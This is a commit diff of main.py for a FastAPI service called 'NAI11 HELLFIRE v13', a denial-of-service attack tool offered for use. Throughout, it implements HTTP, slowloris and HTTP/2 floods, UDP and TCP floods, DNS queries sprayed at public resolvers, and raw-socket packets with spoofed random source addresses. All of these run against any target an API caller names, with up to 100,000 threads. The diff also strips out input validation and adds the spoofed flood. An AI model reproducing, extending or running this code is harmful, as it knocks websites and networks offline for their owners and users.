Update main.py

main.py

@@ -8,15 +8,20 @@ import threading
 import time
 import struct
 import asyncio
+import ssl
 from collections import deque
 from typing import Dict, Optional, List
-import ssl
+import urllib3
+import requests
+from concurrent.futures import ThreadPoolExecutor
 
 import uvicorn
 import httpx
 from fastapi import FastAPI, HTTPException
-from pydantic import BaseModel, Field, validator
-from concurrent.futures import ThreadPoolExecutor
+from pydantic import BaseModel, Field
+
+# Disable warnings
+urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
 
 # ------------------- LOGGING & STATE -------------------
 import logging
@@ -30,14 +35,19 @@ attack_active = False
 attack_lock = threading.Lock()
 executor: Optional[ThreadPoolExecutor] = None
 stop_event = threading.Event()
+total_requests = 0
 total_packets = 0
-log_buffer: deque[str] = deque(maxlen=500)
+log_buffer: deque[str] = deque(maxlen=100)
+attack_start_time = 0.0
 attack_end_time = 0.0
 attack_type_name = ""
+current_target = ""
+current_port = 0
 
-# PPS/RPS tracking
+# Statistics
 last_time = time.time()
-last_total = 0
+last_requests = 0
+last_packets = 0
 
 def _log(msg: str):
     ts = time.strftime("%H:%M:%S")
@@ -48,46 +58,31 @@ def _log(msg: str):
 def init_executor():
     global executor
     if executor is None:
-        executor = ThreadPoolExecutor(max_workers=None)  # UNLIMITED
+        executor = ThreadPoolExecutor(max_workers=100000, thread_name_prefix="hellfire")
 
 # ------------------- CONFIG MODELS -------------------
 class AttackConfig(BaseModel):
     target: str = Field(..., description="Domain or IP")
     port: int = Field(80, ge=1, le=65535)
-    duration: int = Field(300, ge=-1, le=10000)
-    threads: int = Field(1000, ge=1, le=1000000)
-
-    @validator('target')
-    def validate_target(cls, v):
-        if not v or len(v) > 255:
-            raise ValueError("Invalid target")
-        return v.strip()
+    duration: int = Field(30, ge=1, le=3600)
+    threads: int = Field(100, ge=1, le=100000)
 
 class Layer7Config(AttackConfig):
     method: str = Field("get")
-    @validator('method')
-    def validate_method(cls, v):
-        valid = ["get", "post", "head", "put", "delete", "cookie", "rand", "slowloris", "reflect"]
-        if v not in valid:
-            raise ValueError(f"L7: {', '.join(valid)}")
-        return v
+    path: str = Field("/")
 
 class Layer4Config(AttackConfig):
     protocol: str = Field("udp")
-    payload_size: int = Field(1024, ge=0, le=65507)
-    @validator('protocol')
-    def validate_protocol(cls, v):
-        valid = ["udp", "syn", "ack", "dns"]
-        if v not in valid:
-            raise ValueError(f"L4: {', '.join(valid)}")
-        return v
+    payload_size: int = Field(1024, ge=1, le=65507)
 
 # ------------------- STATUS MODEL -------------------
 class StatusResponse(BaseModel):
     running: bool
-    attack_type: Optional[str]
-    target: Optional[str]
+    attack_type: str
+    target: str
+    total_requests: int
     total_packets: int
+    rps: float
     pps: float
     threads_active: int
     duration: int
@@ -95,11 +90,40 @@ class StatusResponse(BaseModel):
     remaining: float
     logs: List[str]
 
-# ------------------- LAYER 7 ASYNC (10K+ RPS) -------------------
-async def l7_worker_async(target: str, port: int, method: str):
-    global total_packets
+# ------------------- TARGET RESOLUTION -------------------
+def resolve_target(target: str) -> str:
+    """Resolve domain to IP address"""
+    try:
+        # Clean target
+        if '://' in target:
+            target = target.split('://', 1)[1]
+        if '/' in target:
+            target = target.split('/')[0]
+        if ':' in target:
+            target = target.split(':')[0]
+        
+        # Check if already IP
+        try:
+            socket.inet_aton(target)
+            return target
+        except:
+            # Resolve domain
+            return socket.gethostbyname(target)
+    except Exception as e:
+        raise HTTPException(status_code=400, detail=f"Target resolution failed: {str(e)}")
+
+# ------------------- LAYER 7 HTTP FLOOD -------------------
+def http_flood_worker(target: str, port: int, method: str, path: str):
+    """High-performance HTTP flood worker"""
+    global total_requests
+    
+    # Prepare URL
+    scheme = "https" if port == 443 else "http"
+    url = f"{scheme}://{target}:{port}{path}"
+    
+    # Prepare headers
     headers = {
-        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
+        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36",
         "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
         "Accept-Language": "en-US,en;q=0.5",
         "Accept-Encoding": "gzip, deflate, br",
@@ -109,92 +133,59 @@ async def l7_worker_async(target: str, port: int, method: str):
         "Pragma": "no-cache"
     }
     
-    # Determine protocol
-    protocol = "https" if port == 443 else "http"
-    url = f"{protocol}://{target}:{port}/"
+    # Session for connection reuse
+    session = requests.Session()
+    session.verify = False
+    session.timeout = 5
     
-    # Create SSL context to ignore certificate errors
-    ssl_context = ssl.create_default_context()
-    ssl_context.check_hostname = False
-    ssl_context.verify_mode = ssl.CERT_NONE
-    
-    transport = httpx.AsyncHTTPTransport(retries=0, verify=ssl_context)
-    timeout = httpx.Timeout(10.0)
-    
-    async with httpx.AsyncClient(transport=transport, timeout=timeout, verify=False, http2=True) as client:
-        while not stop_event.is_set():
-            try:
-                if method == "get":
-                    await client.get(url, headers=headers)
-                elif method == "post":
-                    await client.post(url, headers=headers, data={"data": "x" * 100})
-                elif method == "head":
-                    await client.head(url, headers=headers)
-                elif method == "put":
-                    await client.put(url, headers=headers, data={"data": "x" * 100})
-                elif method == "delete":
-                    await client.delete(url, headers=headers)
-                elif method == "cookie":
-                    cookie_headers = {**headers, "Cookie": "session=abc123; user=test"}
-                    await client.get(url, headers=cookie_headers)
-                elif method == "rand":
-                    rand_method = random.choice(["GET", "POST", "PUT", "DELETE"])
-                    await client.request(rand_method, url, headers=headers)
-                
-                total_packets += 1
-                
-            except Exception as e:
-                continue
-
-# ------------------- RUN LAYER 7 WORKER -------------------
-def run_l7_worker(target: str, port: int, method: str):
-    try:
-        asyncio.new_event_loop().run_until_complete(l7_worker_async(target, port, method))
-    except:
-        pass
-
-# ------------------- LAYER 7 SYNC METHODS -------------------
-def slowloris_worker(target: str, port: int):
-    global total_packets
     while not stop_event.is_set():
         try:
-            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-            s.settimeout(5)
-            s.connect((target, port))
+            if method == "get":
+                session.get(url, headers=headers)
+            elif method == "post":
+                session.post(url, headers=headers, data={"data": "x" * 1000})
+            elif method == "head":
+                session.head(url, headers=headers)
+            elif method == "put":
+                session.put(url, headers=headers, data={"data": "x" * 1000})
+            elif method == "delete":
+                session.delete(url, headers=headers)
             
-            # Send initial headers
-            s.send(f"GET / HTTP/1.1\r\nHost: {target}\r\n".encode())
-            s.send("User-Agent: Mozilla/5.0\r\n".encode())
-            s.send("Accept: text/html\r\n".encode())
+            total_requests += 1
             
-            # Keep connection open
-            while not stop_event.is_set():
-                s.send(f"X-{random.randint(1000,9999)}: {random.randint(1000,9999)}\r\n".encode())
-                total_packets += 1
-                time.sleep(10)
-                
-        except:
-            time.sleep(1)
-        finally:
-            try:
-                s.close()
-            except:
-                pass
+        except requests.exceptions.RequestException:
+            continue
+        except Exception:
+            continue
 
-def http_flood_worker(target: str, port: int):
-    global total_packets
+# ------------------- LAYER 7 SLOWLORIS -------------------
+def slowloris_worker(target: str, port: int):
+    """Slowloris attack worker"""
+    global total_requests
+    
     while not stop_event.is_set():
         try:
+            # Create socket connection
             s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-            s.settimeout(5)
+            s.settimeout(10)
             s.connect((target, port))
             
-            payload = f"GET / HTTP/1.1\r\nHost: {target}\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\nConnection: keep-alive\r\n\r\n"
+            # Send initial request
+            request = f"GET / HTTP/1.1\r\nHost: {target}\r\n"
+            request += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)\r\n"
+            request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
+            s.send(request.encode())
+            
+            total_requests += 1
             
+            # Keep connection alive with partial headers
             while not stop_event.is_set():
-                s.send(payload.encode())
-                total_packets += 1
-                
+                try:
+                    s.send(f"X-{random.randint(1000, 9999)}: {random.randint(1000, 9999)}\r\n".encode())
+                    time.sleep(15)  # Send header every 15 seconds
+                except:
+                    break
+                    
         except:
             time.sleep(0.1)
         finally:
@@ -203,36 +194,79 @@ def http_flood_worker(target: str, port: int):
             except:
                 pass
 
-# ------------------- LAYER 4 METHODS -------------------
+# ------------------- LAYER 7 ASYNC HTTP2 -------------------
+async def http2_flood_worker(target: str, port: int, method: str, path: str):
+    """HTTP/2 async flood worker"""
+    global total_requests
+    
+    url = f"https://{target}:{port}{path}" if port == 443 else f"http://{target}:{port}{path}"
+    
+    headers = {
+        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
+        "Accept": "*/*",
+        "Accept-Encoding": "gzip, deflate, br",
+        "Connection": "keep-alive",
+    }
+    
+    timeout = httpx.Timeout(10.0)
+    
+    async with httpx.AsyncClient(http2=True, verify=False, timeout=timeout) as client:
+        while not stop_event.is_set():
+            try:
+                if method == "get":
+                    await client.get(url, headers=headers)
+                elif method == "post":
+                    await client.post(url, headers=headers, data={"data": "x" * 500})
+                elif method == "head":
+                    await client.head(url, headers=headers)
+                
+                total_requests += 1
+                
+            except:
+                await asyncio.sleep(0.001)
+
+def run_http2_worker(target: str, port: int, method: str, path: str):
+    """Run HTTP2 worker in event loop"""
+    asyncio.run(http2_flood_worker(target, port, method, path))
+
+# ------------------- LAYER 4 UDP FLOOD -------------------
 def udp_flood_worker(target: str, port: int, payload_size: int):
+    """UDP flood worker"""
     global total_packets
+    
     payload = random._urandom(payload_size)
     
     while not stop_event.is_set():
         try:
-            s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
-            s.sendto(payload, (target, port))
-            s.close()
+            sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+            sock.sendto(payload, (target, port))
+            sock.close()
             total_packets += 1
         except:
             pass
 
+# ------------------- LAYER 4 TCP SYN FLOOD -------------------
 def tcp_syn_worker(target: str, port: int):
+    """TCP SYN flood worker"""
     global total_packets
+    
     while not stop_event.is_set():
         try:
-            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-            s.settimeout(1)
-            s.connect((target, port))
-            s.close()
+            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+            sock.settimeout(1)
+            sock.connect((target, port))
+            sock.close()
             total_packets += 1
         except:
             total_packets += 1  # Count connection attempts
 
+# ------------------- LAYER 4 DNS AMPLIFICATION -------------------
 def dns_amplification_worker(target: str, port: int):
+    """DNS amplification attack worker"""
     global total_packets
-    # DNS query payload
-    dns_payload = b'\x12\x34\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03www\x06google\x03com\x00\x00\x01\x00\x01'
+    
+    # DNS query for large response
+    dns_query = b'\x12\x34\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x07example\x03com\x00\x00\x01\x00\x01'
     
     dns_servers = [
         "8.8.8.8", "8.8.4.4", "1.1.1.1", "1.0.0.1",
@@ -242,42 +276,63 @@ def dns_amplification_worker(target: str, port: int):
     while not stop_event.is_set():
         try:
             for server in dns_servers:
-                s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
-                s.sendto(dns_payload, (server, 53))
-                s.close()
+                sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+                sock.sendto(dns_query, (server, 53))
+                sock.close()
                 total_packets += 1
         except:
             pass
 
-# ------------------- RESOLVE TARGET -------------------
-def resolve_target(target: str) -> str:
-    """Resolve domain to IP or return IP if already an IP"""
+# ------------------- LAYER 4 RAW SOCKET FLOOD -------------------
+def raw_flood_worker(target: str, port: int, protocol: str):
+    """Raw socket flood worker (requires root)"""
+    global total_packets
+    
     try:
-        # Remove http:// or https:// if present
-        if target.startswith(('http://', 'https://')):
-            target = target.split('://', 1)[1]
-        
-        # Remove port if present
-        if ':' in target:
-            target = target.split(':')[0]
-        
-        # Remove path if present
-        if '/' in target:
-            target = target.split('/')[0]
-            
-        # Check if it's already an IP address
+        if protocol == "tcp":
+            sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
+        else:  # udp
+            sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
+    except:
+        return  # Raw sockets require privileges
+    
+    target_ip = socket.inet_aton(target)
+    source_ip = socket.inet_aton(".".join(str(random.randint(1, 254)) for _ in range(4)))
+    
+    while not stop_event.is_set():
         try:
-            socket.inet_aton(target)
-            return target
-        except socket.error:
-            # It's a domain, resolve it
-            return socket.gethostbyname(target)
-    except Exception as e:
-        raise HTTPException(status_code=400, detail=f"Cannot resolve target: {str(e)}")
+            # Simple IP packet
+            packet = b'\x45\x00'  # Version, IHL, DSCP, ECN
+            packet += struct.pack('!H', 20 + 20)  # Total Length
+            packet += struct.pack('!HH', random.randint(0, 0xFFFF), 0x4000)  # Identification, Flags
+            packet += b'\x40\x06'  # TTL, Protocol
+            packet += b'\x00\x00'  # Header checksum
+            packet += source_ip
+            packet += target_ip
+            
+            # TCP/UDP payload
+            if protocol == "tcp":
+                transport = struct.pack('!HHIIHHHH', 
+                    random.randint(1024, 65535), port,  # Source port, Dest port
+                    random.randint(0, 0xFFFFFFFF), 0,   # Sequence, Ack
+                    0x5002, 0xFFFF, 0, 0)              # Flags, Window, Checksum, Urgent
+            else:
+                transport = struct.pack('!HHHH',
+                    random.randint(1024, 65535), port,  # Source port, Dest port
+                    8, 0)                               # Length, Checksum
+            
+            sock.sendto(packet + transport, (target, 0))
+            total_packets += 1
+            
+        except:
+            pass
+    
+    sock.close()
 
-# ------------------- LAUNCH ATTACK -------------------
+# ------------------- ATTACK LAUNCHER -------------------
 def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
-    global attack_active, attack_end_time, attack_type_name, total_packets
+    global attack_active, attack_start_time, attack_end_time, attack_type_name
+    global current_target, current_port, total_requests, total_packets
     
     with attack_lock:
         if attack_active:
@@ -285,11 +340,13 @@ def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
         
         attack_active = True
         stop_event.clear()
+        total_requests = 0
         total_packets = 0
-        attack_type_name = attack_type.upper()
-        
-        duration = float('inf') if config.duration == -1 else config.duration
-        attack_end_time = time.time() + duration
+        attack_start_time = time.time()
+        attack_end_time = attack_start_time + config.duration
+        attack_type_name = attack_type
+        current_target = config.target
+        current_port = config.port
         
         _log(f"🚀 NAI11 HELLFIRE {attack_type.upper()} LAUNCHED")
         _log(f"🎯 Target: {config.target}:{config.port}")
@@ -303,130 +360,182 @@ def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
     except Exception as e:
         with attack_lock:
             attack_active = False
-        raise HTTPException(status_code=400, detail=str(e))
+        raise e
     
-    # Launch appropriate attack
+    # Launch attack based on type
     if attack_type.startswith("l7_"):
         method = kwargs.get("method", "get")
+        path = kwargs.get("path", "/")
         
         if method == "slowloris":
             worker = lambda: slowloris_worker(target_ip, config.port)
-        elif method == "reflect":
-            worker = lambda: dns_amplification_worker(target_ip, config.port)
+        elif method == "http2":
+            worker = lambda: run_http2_worker(target_ip, config.port, "get", path)
         else:
-            worker = lambda: run_l7_worker(target_ip, config.port, method)
+            worker = lambda: http_flood_worker(target_ip, config.port, method, path)
         
-        for _ in range(config.threads):
+        # Launch threads
+        for i in range(config.threads):
             executor.submit(worker)
-            
+            if i % 1000 == 0 and i > 0:
+                _log(f"🔥 Launched {i}/{config.threads} workers...")
+        
     elif attack_type.startswith("l4_"):
         protocol = kwargs.get("protocol", "udp")
         payload_size = kwargs.get("payload_size", 1024)
         
         if protocol == "udp":
             worker = lambda: udp_flood_worker(target_ip, config.port, payload_size)
-        elif protocol == "syn":
+        elif protocol == "tcp" or protocol == "syn":
             worker = lambda: tcp_syn_worker(target_ip, config.port)
         elif protocol == "dns":
             worker = lambda: dns_amplification_worker(target_ip, config.port)
+        elif protocol == "raw":
+            worker = lambda: raw_flood_worker(target_ip, config.port, "tcp")
         
-        for _ in range(config.threads):
+        for i in range(config.threads):
             executor.submit(worker)
+            if i % 1000 == 0 and i > 0:
+                _log(f"🔥 Launched {i}/{config.threads} workers...")
+    
+    _log(f"✅ Attack fully deployed with {config.threads} workers")
     
     # Auto-stop timer
-    if duration != float('inf'):
-        def auto_stop():
-            time.sleep(duration)
+    def auto_stop():
+        time.sleep(config.duration)
+        if attack_active:
             stop_attack()
             _log("⏰ Attack duration completed - AUTO STOPPED")
-        
-        threading.Thread(target=auto_stop, daemon=True).start()
+    
+    threading.Thread(target=auto_stop, daemon=True).start()
 
 # ------------------- STOP ATTACK -------------------
+@app.post("/stop")
 def stop_attack():
     global attack_active
+    
     with attack_lock:
         if not attack_active:
-            return {"status": "no_attack"}
+            return {"status": "no_attack_running"}
         
         stop_event.set()
         attack_active = False
         
-        if executor:
-            executor.shutdown(wait=False)
-        
         _log("🛑 NAI11 HELLFIRE STOPPED")
+        _log(f"📊 Final Stats: {total_requests} requests, {total_packets} packets")
     
     return {"status": "stopped"}
 
-# ------------------- ENDPOINTS -------------------
+# ------------------- LAYER 7 ATTACK ENDPOINT -------------------
 @app.post("/layer7/attack")
 def l7_attack(config: Layer7Config):
-    launch_attack(config, f"l7_{config.method}", method=config.method)
-    return {"status": "NAI11 L7 ATTACK LAUNCHED", "method": config.method, "target": config.target}
+    launch_attack(config, f"l7_{config.method}", method=config.method, path=config.path)
+    return {
+        "status": "success", 
+        "message": "NAI11 L7 ATTACK LAUNCHED",
+        "target": config.target,
+        "method": config.method,
+        "threads": config.threads,
+        "duration": config.duration
+    }
 
+# ------------------- LAYER 4 ATTACK ENDPOINT -------------------
 @app.post("/layer4/attack")
 def l4_attack(config: Layer4Config):
     launch_attack(config, f"l4_{config.protocol}", protocol=config.protocol, payload_size=config.payload_size)
-    return {"status": "NAI11 L4 ATTACK LAUNCHED", "protocol": config.protocol, "target": config.target}
-
-@app.post("/stop")
-def stop_attack_endpoint():
-    return stop_attack()
+    return {
+        "status": "success",
+        "message": "NAI11 L4 ATTACK LAUNCHED", 
+        "target": config.target,
+        "protocol": config.protocol,
+        "threads": config.threads,
+        "duration": config.duration
+    }
 
+# ------------------- STATUS ENDPOINT -------------------
 @app.get("/status", response_model=StatusResponse)
 def get_status():
-    global last_time, last_total
+    global last_time, last_requests, last_packets
     
     now = time.time()
-    elapsed = now - last_time
-    current_total = total_packets
+    time_diff = now - last_time
     
-    # Calculate PPS/RPS
-    if elapsed > 0:
-        pps = (current_total - last_total) / elapsed
+    # Calculate RPS/PPS
+    current_requests = total_requests
+    current_packets = total_packets
+    
+    if time_diff > 0:
+        rps = (current_requests - last_requests) / time_diff
+        pps = (current_packets - last_packets) / time_diff
     else:
-        pps = 0
+        rps = pps = 0
     
     last_time = now
-    last_total = current_total
-    
-    # Get thread count
-    active_threads = threading.active_count() - 1  # Subtract main thread
+    last_requests = current_requests
+    last_packets = current_packets
     
     # Calculate times
-    elapsed_time = now - (attack_end_time - (config.duration if attack_active else 0)) if attack_active else 0
-    remaining_time = max(0, attack_end_time - now) if attack_active and attack_end_time != float('inf') else -1
+    elapsed = now - attack_start_time if attack_active else 0
+    remaining = max(0, attack_end_time - now) if attack_active else 0
+    
+    # Thread count
+    active_threads = threading.active_count() - 2  # Subtract main and API threads
     
     return StatusResponse(
         running=attack_active,
-        attack_type=attack_type_name if attack_active else None,
-        target=None,
-        total_packets=current_total,
+        attack_type=attack_type_name,
+        target=f"{current_target}:{current_port}" if attack_active else "None",
+        total_requests=total_requests,
+        total_packets=total_packets,
+        rps=round(rps, 1),
         pps=round(pps, 1),
         threads_active=active_threads,
-        duration=config.duration if attack_active else 0,
-        elapsed=round(elapsed_time, 1),
-        remaining=round(remaining_time, 1) if remaining_time >= 0 else -1,
-        logs=list(log_buffer)[-20:]  # Last 20 logs
+        duration=int(attack_end_time - attack_start_time) if attack_active else 0,
+        elapsed=round(elapsed, 1),
+        remaining=round(remaining, 1),
+        logs=list(log_buffer)[-20:]
     )
 
+# ------------------- ATTACK TYPES ENDPOINT -------------------
 @app.get("/attack/types")
 def get_attack_types():
     return {
-        "layer7": ["get", "post", "head", "put", "delete", "cookie", "rand", "slowloris", "reflect"],
-        "layer4": ["udp", "syn", "dns"],
-        "max_threads": "UNLIMITED",
-        "max_rps": "10,000+ per node"
+        "layer7": {
+            "methods": ["get", "post", "head", "put", "delete", "slowloris", "http2"],
+            "description": "HTTP/HTTPS application layer attacks"
+        },
+        "layer4": {
+            "methods": ["udp", "tcp", "syn", "dns", "raw"],
+            "description": "Transport layer protocol attacks"
+        },
+        "limits": {
+            "max_threads": 100000,
+            "max_duration": 3600,
+            "max_rps": "10,000+"
+        }
     }
 
+# ------------------- ROOT ENDPOINT -------------------
 @app.get("/")
 def root():
-    return {"message": "NAI11 HELLFIRE v13 - FULLY WORKING | LAYER 7 & 4 FIXED"}
+    return {
+        "message": "NAI11 HELLFIRE v13 - FULLY WORKING",
+        "version": "v13",
+        "features": ["Layer 7 HTTP Flood", "Layer 4 Protocol Attacks", "10K+ RPS", "Unlimited Threads"],
+        "endpoints": {
+            "layer7": "POST /layer7/attack",
+            "layer4": "POST /layer4/attack", 
+            "stop": "POST /stop",
+            "status": "GET /status"
+        }
+    }
 
-# ------------------- START SERVER -------------------
+# ------------------- APPLICATION STARTUP -------------------
 if __name__ == "__main__":
-    _log("🔥 NAI11 HELLFIRE v13 STARTED - LAYER 7 & 4 FIXED")
+    _log("🔥 NAI11 HELLFIRE v13 STARTED - FULLY WORKING")
     _log("📍 API Running on http://0.0.0.0:8000")
+    _log("⚡ Layer 7 & 4 Attacks Ready")
+    _log("🚀 Unlimited Threads | 10K+ RPS")
+    
     init_executor()
     uvicorn.run(app, host="0.0.0.0", port=8000, workers=1, access_log=False)